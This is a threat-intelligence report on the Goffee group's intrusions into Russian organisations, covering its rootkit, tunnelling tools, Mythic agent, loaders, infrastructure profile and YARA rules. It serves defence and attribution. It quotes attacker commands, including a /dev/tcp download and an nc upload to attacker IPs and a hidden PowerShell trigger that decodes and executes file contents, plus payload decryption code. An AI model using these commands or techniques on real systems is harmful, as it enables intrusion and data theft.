Authors:

Klimentiy Galkin
Threat Intelligence Specialist at the Positive Technologies Expert Security Center
Varvara Koloskova
Threat Intelligence Specialist at the Positive Technologies Expert Security Center
Klimentiy Galkin
Threat Intelligence Specialist at the Positive Technologies Expert Security Center
Varvara Koloskova
Threat Intelligence Specialist at the Positive Technologies Expert Security Center
Throughout 2024, several Russian organizations contacted the PT ESC IR team to investigate incidents that showed clear similarities. We grouped the malicious activity into a single cluster and attributed it to Goffee, which has been targeting Russian organizations through phishing since 2022. In one case, we observed a previously unknown Linux rootkit, Sauropsida.
The attackers used known tools such as Powertaskel and owowa. We also identified new tools: the BindSycler and DQuic traffic tunneling tools and a new Mythic agent.
In mid July 2024, a Russian company reached out to PT ESC IR about malicious activity. During the investigation, we determined that the attackers had used the long known PowerTaskel tool. We also found code that extended the classic PowerTaskel to load additional modules in three steps.
During the first step, the Get-ProcAddress function is obtained. On success, Get-ProcAddress: declared or Get-ProcAddress: OK is sent to the server.
Next, several additional functions from open sources are loaded. For example, Get-DelegateType is used to determine function types, and Emit-CallThreadStub is used to create a trampoline for shellcode execution. The WinAPI functions required for memory allocation, shellcode execution, and related tasks are also defined.
A C# method for copying to unmanaged memory is loaded:
using System;
namespace UnmanagedCSharp
{
public static unsafe class UnmanagedCopier
{
public static void CopyManagedToUnmanagedMemory(byte[] src, IntPtr dst, int length)
{
fixed (byte* p = src)
{
IntPtr src_ptr = (IntPtr)p;
Buffer.MemoryCopy(src_ptr.ToPointer(), dst.ToPointer(), length, length);
}
}
}
}
During the third step, the script starts loading and executing shellcode. First, it sends an XML formatted message to the server indicating the start of shellcode loading:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">responses</Property>
<Property Name="Value" Type="System.Object[]">
<Property Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">task_id</Property>
<Property Name="Value" Type="System.String">UID</Property>
<Property Name="Key" Type="System.String">user_output</Property>
<Property Name="Value" Type="System.String">"[...]Uploading shellcode`n"</Property>
<Property Name="Key" Type="System.String">completed</Property>
<Property Name="Value" Type="System.Boolean">False</Property>
</Property>
</Property>
</Property>
<Property Name="Key" Type="System.String">action</Property>
<Property Name="Value" Type="System.String">post_response</Property>
</Object>
</Objects>
Each request is encrypted with a single byte XOR and Base64 encoded, after which the script sends requests to download the shellcode:
<?xml version="1.0" encoding="utf-8"?>
<Objects>
<Object Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">responses</Property>
<Property Name="Value" Type="System.Object[]">
<Property Type="System.Collections.Hashtable">
<Property Name="Key" Type="System.String">task_id</Property>
<Property Name="Value" Type="System.String">UID</Property>
<Property Name="Key" Type="System.String">upload</Property>
<Property Name="Value" Type="System.Object[]">
<Property Name="Key" Type="System.String">file_id</Property>
<Property Name="Value" Type="System.String">"6f344b4d-b37f-4ace-a8c4-0b3150f0ceed"</Property>
<Property Name="Key" Type="System.String">chunk_num</Property>
<Property Name="Value" Type="System[.]Int32">1</Property>
<Property Name="Key" Type="System.String">chunk_size</Property>
<Property Name="Value" Type="System[.]Int32">512000</Property>
</Property>
</Property>
</Property>
<Property Name="Key" Type="System.String">action</Property>
<Property Name="Value" Type="System.String">post_response</Property>
</Object>
</Objects>
On success, the message "[+]Uploaded $total_bytes bytes of shellcode" is sent. The shellcode is then injected into the current process thread in stages. Each stage—including the result of the shellcode injection—is logged to the attackers' server with a completion note. Finally, the server receives the response [+]Thread invoked successfully" along with the shellcode thread ID.
We were unable to obtain the payload that PowerTaskel downloaded, but its traces remained. After gaining initial access, the attackers uploaded tools to the infected host and started a server to enable subsequent file downloads.
Next, they uploaded the required executables and hid them using the Sauropsida kernel rootkit. Depending on the operating system, they used the following toolsets:
Operating system | File name | File upload method | Payload | Use of Sauropsida |
---|---|---|---|---|
Windows | 1cv8conn.exe | Chisel server packaged with Ebowla | MiRat Mythic agent | No |
Linux | systemd-resolved | TinyShell in server mode | Sliver Nim dropper | Yes |
On Windows, the attackers downloaded the Mythic MiRat agent to the compromised system and launched it via multistage DLL Sideloading. The legitimate executable wsmprovhost.exe loads WsmSvc.dll during runtime, which in turn loads mi.dll and calls the export functions MI_Application_InitializeV1 and mi_clientFT_V1. Those functions are just stubs; the MiRat loader is implemented in DllMain.
On Linux, we observed the use of Sliver. It was delivered inside the Infinity Loader dropper, written in Nim. The dropper decrypts Sliver and writes it to an anonymous file named stukllys via the open descriptor /proc/<currentPID>/fd/<stukllys_handle>, where currentPID is the PID of the current process. The dropper then creates the /usr/libexec/resolved symlink pointing to the file and runs it.
Three months later, in October 2024, we detected new Goffee activity against another Russian organization. The attackers used a modified owowa module to harvest user credentials, along with modified Nim based Infinity Loader droppers delivered as DLL, EXE, and ELF. The final payload was Sliver.
Compared to the earlier variant, the Infinity Loader dropper had the following changes:
def decrypt(xor_key, encr, size)
for i in range(size):
xor_byte = ((xor_key + i) >> 24) ^ ((xor_key + i) >> 16) ^ ((xor_key + i) >> 8) ^ ((xor_key + i))
xor_byte &= 0xff
encr[i] ^= xor_byte
return encr
In late 2024, Goffee resurfaced. After gaining access to a system through a compromised account and a vulnerable node, the attackers obtained a bash interpreter. On the victim system, we found commands used to collect data about the infrastructure and open a remote connection to the attackers' servers:
> base64 -d /tmp/tmp20230718 >/tmp/tmp20230719;chmod 755 /tmp/tmp/20230719;fil e/tmp/tmp/20230719
> cat < /dev/tcp/109.107.189.187/32561 > /tmp/tmp20230815;chmod 755 /tmp/tmp20230815
> nc 194.180.191.190 32561 < /lib/systemd/system/systemd-rsyslog.service
For privilege escalation on Linux, the attackers exploited the PolKit vulnerability (CVE 2021 4034). They also used known tools: RawCopy (for low level reads from NTFS disks), Impacket, and Veeam Extract (to inspect backups).
Once reconnaissance was complete, Goffee deployed DQuic—a UDP tunnel over QUIC—on the compromised system, and propagated previously used tools (Chisel and TinyShell) to other nodes. The attackers also deployed new malware, BindSycler, which established an OpenSSH tunnel between the victim host and a Goffee relay node.
Throughout 2025, we continued to see new tools linked to this campaign. However, most of them could not be analyzed, as their decryption was tightly bound to the specific runtime environment of each target system.
Based on all observed Goffee activity, we identified several key traits:
Detailed descriptions of these tools follow in later sections.
While analyzing the malicious files, we noticed a frequently reused decryption algorithm that let us link the files to a single campaign. The algorithm resembles a heavily modified rol13. It's named RolMod13: unlike rol13, it applies an XOR key and an index dependent shift. The algorithm is as follows:
def decrypt_module(size, ea, xor_dword):
bb = get_bytes(ea, size)
out = b''
for i in range(0, size, 4):
dword = struct.unpack("<I", bb[i:i+4])[0]
dword ^= rol((size - i) ^ xor_dword, (size - i) % 0xd, 32)
out += struct.pack("<I", dword)
return out
The algorithm for unpacking and loading code into memory is as follows:
1. First, strings are decrypted with the algorithm above. For clarity, we show the result of decryption here.
The fnStrDecrypt function receives a pointer to the encrypted byte array, its length, and a DWORD XOR key.
2. Next, the malware checks the current process's run command. If it doesn't match the string in configuration, the malware relaunches itself with the specified environment and command line via execve, and the current process stops. The original command interpreter is left unchanged. In our example, the process is started with the /usr/sbin/rsyslogd -n -iNONE parameters and the environment with PATH=/sbin:/bin:/usr/sbin:/usr/bin.
3. After validation, the payload is decrypted with the RolMod13 algorithm and loaded directly into memory while preserving the original arguments and environment variables. The decrypted payload is an ELF file with statically linked libraries.
Sauropsida is a rootkit based on the open source Linux project Reptile. It comprises a usermode component and a kernel module. The tool enables remote control of the system and hides the attacker's presence. Functionally, it differs little from the original version. Based on embedded strings in the malware and the SAU prefix in log messages, we infer the attackers named the sample Sauropsida (Latin for "reptile").
The sample was delivered packed with a modified UPX. In this case, the classic bytes 55 50 58 21 were replaced with A1 D8 D0 D5.
The usermode part is multifunctional. Depending on the command line arguments (or lack thereof), it can act as a rootkit loader, a reverse shell, or a connector to control the rootkit. On first launch, if run as root and with no arguments, it decrypts the kernel module using the RolMod13 algorithm and loads the module via syscall init_module. It passes the following parameter string:
exe_path=%s ld_sym=0x%
Here, the first parameter is the path to the Sauropsida executable, and the second is the address of the kallsyms_lookup_name function.
The latest usermode module uses the following option string for startup parameters: RBHSUdN:P:I:t:s:p:r:F:M:O:. Here's what each command means:
These commands are executed in the kernel module On each run with new parameters, the usermode module sends an ioctl of a specific format to the kernel module.
As shown above, the constants 0xA1306656 and 0xFEB18432 serve as marker words that let the rootkit recognize a command intended for it. Everything between those constants is treated as the command and its parameters. The command details are described later in the "Kernel module" section.
If a target ip parameter is specified, a reverse shell connection is set up immediately. If only the port parameter is specified and the -B flag is set, then a bind shell is set up. In this case (for the bind shell), the secret parameter must be provided; it is used as the session key for the C2 connection.
The reverse and bind shells are based on TinyShell. It also uses HMAC SHA1 and AES to protect the session. A session log is written to /tmp/righthere.txt. The connection is made via UDP, implemented via the recvfrom and sendto APIs.
The reverse shell supports the following standard commands:
When the kernel module loads, control first passes to sauropsida_init. If it loads without parameters or the file name sauropsida_12345 (apparently a test artifact), autoloading is triggered.
Autoloading is used after a reboot or an improper start. Saved parameters and commands are extracted from /etc/timeinfo and executed during autoloading. The structure of this file is described below.
On a normal start, all required function hooks are initialized using the open source khook engine. Hooks present in Sauropsida but absent in Reptile:
Information about hooking functions like proc_exec_connector and perf_event_fork is not widespread; this is a unique technique used by this malware. At the same time, Sauropsida almost completely lacks functionality for hiding file contents, unlike Reptile.
Among the basic hooks borrowed from Reptile, note the inet_ioctl function hook. It is used to receive all commands coming from the usermode module. In ioctl, incoming messages are scanned for marker words. If found, it means there is a command between the two markers. This is how the rootkit determines the command number sent from the usermode part of Sauropsida.
Handled сommands:
Where is the C2 in all this? After creating the hooks, the rootkit starts Port Knocking. All UDP packets are checked for a prefix: if a packet starts with hax0r_or_not_ or mag1c, it is treated as a magic packet. The infected host expects this packet; it contains an encrypted configuration. If the prefix is hax0r_or_not_, the packet carries the IP address of the reverse shell's C2; if the prefix is mag1c, it carries the port for the bind shell. The packet is also decrypted with the RolMod13 algorithm.
After decryption, the magic packet's data is deserialized. Structure of the packet:
(hax0r_or_not_|mag1c)?<encoded(<ip_str>\s<port_str>)>
The usermode module is then restarted with parameters to enable a reverse shell or bind shell.
A separate swap file is used for temporary storage (by default, /etc/timeinfo). Some commands require several intermediate steps, and encrypted data is written to the swap file. Information is stored in fragments of the following form:
0 1 3 3+size
|type| size| encr_data|
Data is XOR encrypted with the byte 0xE1. Types used for writing data:
DQuic is a UDP bind shell that tunnels traffic using the QUIC protocol. It uses the open picoquic library to implement the protocol. Comparing the library's open-source code with the disassembled sample code shows a fairly old picoquic version, suggesting development began in 2023.
On first run after unpacking, it forks and continues in the child process. Then it initializes the config and decrypts the certificate and private key to establish the connection. Decryption uses the RolMod13 algorithm.
A QUIC context is created with quic_create. Parameters include the certificate, private key, alpn (here, udp), and a callback function for handling commands. The previously filled config is passed as the parameter of this callback function. The quic_create function belongs to picoquic; instead on dwelling in this function, we'll focus on the callback. It handles standard picoquic events:
Back in main, we see the picoquic_packet_loop_win packet handler, which runs continuously and processes packets directed to the server on the specified bind_port using the loop_callback function. In our case the port was zero, meaning it connects to any free port.
Inside loop_callback, C2 connection happens in the fninitClient function, with reconnects after a long interval.
When the attacker's client connects, the same qevent_handler is used as the handler; it becomes the main handler for the DQuic tunnel.
Let's describe its inner workings.
The command dispatcher can be in five states (see figure above). The first state is an interactive handler that manages execution of text commands from the client.
The shell mode has a help command to show DQuic's capabilities:
This is an internal command shell. Supported commands are:
help - print this message
get [remote file] [local directory] - get file from the remote node
put [local file] [remote directory] - put file into the remote node
socks [action] [action params...] - SOCKS5 proxy server control, actions:
add [direction] [{IP}:port] - add proxy server on specified port, IP is optional
dir - direct proxy (from local to remote)
rev - reverse proxy (from remote to local)
remove [port] - remove proxy server on specified port
show - show all proxy servers
exit - exit internal shell
The get and put commands switch the dispatcher to states 2 and 3, respectively.
When the socks add command is called in shell state, the dispatcher switches to state 4. It creates a socket for the specified proxy. Execution then moves to state 5, which handles read/write within the created proxy.
BindSycler is a Golang shell that tunnels traffic via the SSH protocol. Depending on settings, it can operate over TCP or UDP. The tool is obfuscated with garble, so some function names are missing and most libraries and types are renamed.
At startup, BindSycler sets up its own config:
struct config
{
bool Debug_flag; // enable debug mode
bool KnockBack_flag; // establish connection to the server
strstr DialAddress; // address for establishing the connection
strstr DialNetwork; // network for establishing the connection (tcp/udp)
bool BindServer_flag; // start bind server
strstr BindAddress; // bind address for the server
strstr BindNetwork; // network for binding the server (tcp/udp)
strstr BindTlsServer_Flag; // start bind server in TLS mode
strstr FixtureSsh_ServerKey; // SSH key
slice FixtureAuthorized_KeyPub; // Authentication key
double SyclePeriod;
__int64 SycleJitterFactor;
bool TlsKnockBack_flag; // establish connection to the server in TLS mode
strstr TlsDialAddress; // address for establishing the connection in TLS mode
strstr TlsDialNetwork; // network for establishing the connection (tcp/udp) in TLS mode
__int64 TlsCyclePeriod;
double TlsCycleJitterFactor;
strstr BindTlsServerAddress; // bind address for the server in TLS mode
strstr BindNetwork; // network for binding the server (tcp/udp) in TLS mode
__int64 Pointer; // not used, probably additional keys for TLS
};
The fields FixtureSsh_ServerKey and FixtureAuthorized_KeyPub are supplied in the tool's data section.
Depending on the network configuration, a bind server is initialized and a dial connection to the C2 is established. The flags KnockBack_flag and TlsKnockBack_flag control whether to connect to the server, while BindServer_flag and BindTlsServer_Flag define the format of the enabled server. These flags are not mutually exclusive: BindSycler can bring up multiple servers and talk to multiple C2. Two functions handle the tunnel endpoints—binder and sycler. The first sets up a bind connection to wait for incoming connections, then forwards everything to the SSH handler.
The second function with the specified parameters SyclePeriod and SycleJitterFactor maintains a persistent connection to the server.
Tasks from the server are handled by the donkey function.
It establishes a dial connection to the server, after which the new connection goes to a single handler—SSH Connection. The main ssh function is largely copied from an example in the open source ssh golang library. It uses the same class names, the same nesting structure, and a similar code base, although extended for the APT group's functions.
Four ssh channel types are supported:
Notably, when the system uses a Russian locale, input streams are created with a different encoding so that encoding is preserved on connection and file names display correctly. This once again points to a focus on the Russian segment in the attacks.
MiRat is a Mythic framework agent—a small shell loaded into the system via Sideloading.
The first thing that stands out is dynamic import during the first-stage shellcode load. For hashing, it uses the FNV-1a algorithm after converting all strings to uppercase.
Control then passes to CreateThread API, with a function just under 2 MB as the parameter. In the disassembler, one basic block is abnormally large; it is filled with byte-by-byte copying of shellcode onto the stack, which makes the function huge. VirtualProtect is called on this memory area, after which execution jumps to the payload.
At startup the backdoor creates a mutex 6536bc83-5a38-4678-bfab-b2a723a86788 to prevent the loading of multiple instances of the malware. It then proceeds to its main functions. The entire backdoor is a single monolithic function, which makes analysis unpleasant. The backdoor first performs dynamic import, using the FNV-1a algorithm with a different initial value.
The backdoor logs almost every action to history.hcl, writing entries as %d/%d/%d %d:%d:%d %s %s: first the date, then time, a comment string, and its argument. Data is not stored in cleartext: before logging, each line is XOR-encrypted with the key 49dd9765-c4c5-47d2-9c00-75c26a7d28b4.
The log is created at a full path specified in the program. The document is created in C:\\Users\\<username>\\Documents\\WSM\\history.hcl, where username is the one of the machine where the backdoor ran. If the log cannot be created at that path, MiRat exits. From this we can infer the sample was built for an attack on a specific organization.
MiRat is a fairly simple Mythic agent: first it sets up a secure connection to C2 and generates a random 20-character ID to identify the victim. It then waits for server commands. MiRat can execute the following commands:
During incident investigations and searches for additional indicators of compromise, we found several attack chains used by Goffee. For the identified network indicators, we built network profiles typical for attackers.
A network profile is a set of unique (distinctive) traits found in the group's network indicators, used to predict new nodes in their infrastructure. Unique traits include, for example:
Looking at the attack chain involving an HTA file, you can see patterns in how the attackers prepare their infrastructure. They are shown in the diagram below.
Let's examine each stage of the group's attacks, showing which infrastructure features were found and which domains may potentially belong to Goffee. Some network indicators may fall outside the profile but were confirmed during incident investigations.
For phishing, the group most often uses .ru/.рф domains, hosting malicious domains on Russian IP addresses at "dirty" (that is, more often abused) providers—Aeza, VDSINA, MivoCloud, and others. The GoPhish tool is used to send phishing emails.
Gophish is an open-source phishing toolkit designed for businesses and penetration testers. It provides the ability to quickly and easily setup and execute phishing engagements and security awareness training.
Source: GitHub (GoPhish)
Potentially interesting and new domains were searched using the following steps:
Based on the collected data, we formed a predicted layer, where domains marked in yellow are those we believe may be used in Goffee attacks. At this stage, Goffee's network profile looks as follows:
Indicator | Characteristic |
---|---|
Registrar | Namecheap |
Phishing tool | GoPhish |
Hosting providers and IP addresses | Russian IP addresses on MivoCloud, Aeza, VDSINA, and XHost |
Top-level domain | .ru, .рф, .tech, .online |
Additional modules used in the attack chain are delivered from single-level domains in the .com/.org zone. The domains are hosted on the already known providers, on Russian IP addresses. The registrar is usually Namecheap; occasionally NameSilo appears, but only for a few domains.
To find similar domains, we reused the same methods as in the previous stage: reviewing Russian subnets and the same IP addresses. In addition, we added a separate step to search for similar URLs that hosted the payload. Examples of links:
http://[REDACTED]/inhibiting/cries/aerobe/merchantman/cheeseburgers
https://[REDACTED]/page/push/turn/order
As you can see, links are often deeply nested; directories are named with random English words.
The network profile at the malware-delivery stage looks as follows:
Indicator | Characteristic |
---|---|
Registrar | Namecheap: often NameSilo: rare |
Maximum domain level | Second-level domains or IP addresses |
Hosting providers and IP addresses | Russian IP addresses on MivoCloud, Aeza, VDSINA, and XHost |
Top-level domain | .com, .org: often .host: rare |
The most interesting part of studying the network indicators is looking for the domains used in the final stage of the attack chain. By examining many adversary servers found during incident investigation, we identified a set of traits.
Indicator | Description |
---|---|
Hosting providers and IP addresses | Hosting providers with Russian subnets (Aeza, MivoCloud, Beget, Stark Industries, VDSINA, and more) |
Domain level | Third: often Second: rare |
Mimicry | Russian software and systems Domains of Unix-like systems Domains of other systems used by users |
Keywords | mirror, deb, app, repo, api, altlinux, astralinux, apt, pkg |
Top-level domains | .com use of .cloud observed |
Registrar | Namecheap |
To search for other indicators, we performed keyword-based search and reviewed subnets with IP addresses located in Russia.
In July 2025, a new phishing email impersonating Russia's Ministry of Industry and Trade was detected, addressed to a Russian company in the military-industrial sector. The email contained a malicious archive, minprom_04072025.rar, with three files:
A peculiarity of the RAR archive is the use of CVE-2025-6218 to place the malware in the startup folder. The malware itself was a patched XPS document loader, xpsrchvw.exe, with Metasploit inside. The malicious shellcode establishes a connection and opens a reverse shell.
Goffee infrastructure observed in this attack:
The further attack chain could not be uncovered because the attackers' C2 was inactive at the time of analysis.
When searching for similar names, we found a file named xpsrchvw.exe. After analyzing it, we discovered a modified section in the form of malicious shellcode inserted at the preloading stage. It uses the same obfuscation and dynamic API resolution as MiRat. As a result, the loader downloads a malicious decoy—an Excel file at hxxps:// rulebest[.]com/earthlings/baled/confidants/contraflows/hyphened.xlsx. The file is saved to %TEMP%\mob2025.xlsx and launched with the command:
C:\Windows\System32\cmd.exe /c start "" "%TEMP%\mob2025.xlsx"
Unfortunately, the link was inactive during our research, and we were not able to obtain the decoy. After that, the shellcode proceeds to its main functions. The loader starts cmd with the following command:
/c start %SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command "$watcher = New-object System.IO.FileSystemWatcher \"$env:TEMP\\\";$watcher.EnableRaisingEvents '= $true;$watcher.Filter=\"trigger.txt\";$watcher.NotifyFilter = [System.IO.NotifyFilters]::LastWrite;$trigger = Register-ObjectEvent $watcher \"Changed\" -Action {$trigger_content = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content \"$env:TEMP\\trigger.txt\" -Raw))); iex $trigger_content};while($true) {$null = $watcher.WaitForChanged(\"Changed\");start-sleep -s 2;};
As a result, a trigger is set: whenever data is written to the file trigger.txt, its contents are base64-decoded and executed immediately. Then the shellcode creates %TEMP%/trigger.txt, decodes its content, and writes it to the file.
The trigger.txt file turned out to be a descendant of PowerModule; we named it PowerPrepare. To begin with, PowerPrepare generates a victim ID and encodes it using base64 with some character substitutions. It then generates a request to a URL of the following form:
Here, UID is PowerPrepare's unique identifier; in our case it was 0d15a3e9-a28e-462a-a9d6-8b4bb96093b6. The response to this request is a base64-wrapped .NET module, which is reflectively loaded into the system and executed immediately.
On July 22 and July 31, several more archives were discovered: DON_AVIA_TRANS_RU.rar and Запрос_Минпромторг_22.07.rar. The archives contained files exploiting a previously unknown vulnerability in WinRAR up to and including version 7.12. The vulnerability is a path traversal in WinRAR's function that extracts alternate data streams.
In addition to the lure document, the archive contains malicious .lnk and .exe files, which are alternate data streams for a PDF file. Using the vulnerability, the following paths are used to extract the malicious files:
The executable itself is a simple .NET loader that performs several actions:
After that, the received module is reflectively loaded.
In the most recently discovered attacks, links of the following format were used:
As can be seen, the links have five levels of nesting; both domains are hosted on servers with Russian IP addresses (94.242.51.73 and 89.110.98.26 at the time of investigation), registered with Namecheap, and both top-level domains are .org. In addition, a lure document impersonating Russia's Ministry of Industry and Trade can be attributed to the group, similar to what was observed on July 4.
Our analysis of Goffee's activity shows a consistent, well planned approach aimed at long term persistence in victim infrastructure with minimal visibility. The group's attacks have already had tangible consequences, including cases of disrupted business processes at Russian organizations.
Although Goffee's activity has been tracked for more than two years, information about it is poorly represented in the public domain. This is primarily due to the limited geography of the attacks (they target mainly Russian organizations) and the group's focus on stealth, which has made it difficult to obtain the tools used in the later stages of the attacks.
As a result of prolonged research, new tools used by the group in the later stages were discovered, such as DQuic, MiRat, BindSycler, and the Sauropsida rootkit. However, tools used by the group earlier, such as owowa and PowerTaskel, remain relevant.
Researchers also identified the attackers' network profile. Goffee uses Russian IP addresses and hosting providers, likely to reduce detection risk. This tactic helps bypass geolocation-based traffic filtering and masks activity as that of an internal actor within the infrastructure. Most often, such IP addresses are used at intermediate stages—for delivering malware or setting up tunneling.
The consistent indicators revealed by the study—repeated packaging patterns, the group's network profile, and traffic-encryption characteristics—make it possible, with high confidence, to attribute incidents to this group and to anticipate its activity in the future.
import elf
rule apt_linux_ZZ_GOFFEE__Dropper__RolMod13 {
meta:
description = "Linux loader with algo RolMod13"
strings:
$code_at_00001BD7 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF 4? 01 ?? 4? C7 4? 08 00 10 00 00 8B (?5 | ?D) ?? 4? 98 4? C1 E? 04 }
$code_at_00001DD2 = { 4? C1 E? 04 4? 89 ?? 4? 8B (?5 | ?D) ?? FF 4? 01 ?? 4? C7 00 19 00 00 00 }
$code_at_00001EDA = {
B? 4F EC C4 4E
89 ??
F7 E?
C1 E? 02
89 ?? 01
}
$code_at_00001EEA = { 01 ?? C1 E? 02 01 ?? 29 ?? 89 }
condition:
uint32be(0) == 0x7f454c46 and (3 of them and (for any i in (0..elf.number_of_sections): (elf.sections[i].size > 0x200000 and elf.sections[i].name == ".data")) or elf.telfhash() == "T13AB01287D731E75D98911C754C0400A70023438C772CC3000F91D850CC3440372F131C")
}
rule tool_win_ZZ_Ebowla__Dropper__Go {
meta:
description = "Go loader Ebowla with base64 payload"
strings:
$v1 = "main._Cfunc_MemoryCallEntryPoint"
$v2 = "main.build_code"
$v3 = "main.sysNativeDone"
$v4 = "main._Cfpvar_fp_MemoryDefaultGetProcAddress"
$v5 = "minus_bytes"
$v6 = "key_combos"
$v7 = "another_temp"
$v8 = "temp_encrypted_payload"
$v9 = "raw_key"
$v10 = "payload_test_hash"
$v11 = "main.walk_path"
$v12 = "temp_keycombos"
$v13 = "full_payload"
condition:
uint16(0) == 0x5A4D and 5 of ($v*)
}
rule tool_win_ZZ_InfinityLoader__Trojan {
meta:
description = "Infinity loader detect"
strings:
$code1 = { 32 54 08 10 49 C1 F9 ?? 44 31 CA 4D 89 C1 49 C1 F8 ?? 49 C1 F9 ?? 44 31 CA 44 31 C2 }
$code2 = { 48 8B 45 ?? 89 C2 48 8B 45 ?? 89 D1 48 D3 F8 44 31 C0 89 C2 48 8B 4D ?? 48 8B 45 ?? 48 01 C8 48 83 C0 ?? 88 10 }
$s1 = "Infinity"
$s2 = "crowload"
condition:
uint16be(0) == 0x4D5A and (($s1 and $code1) or ($s2 and $code2))
}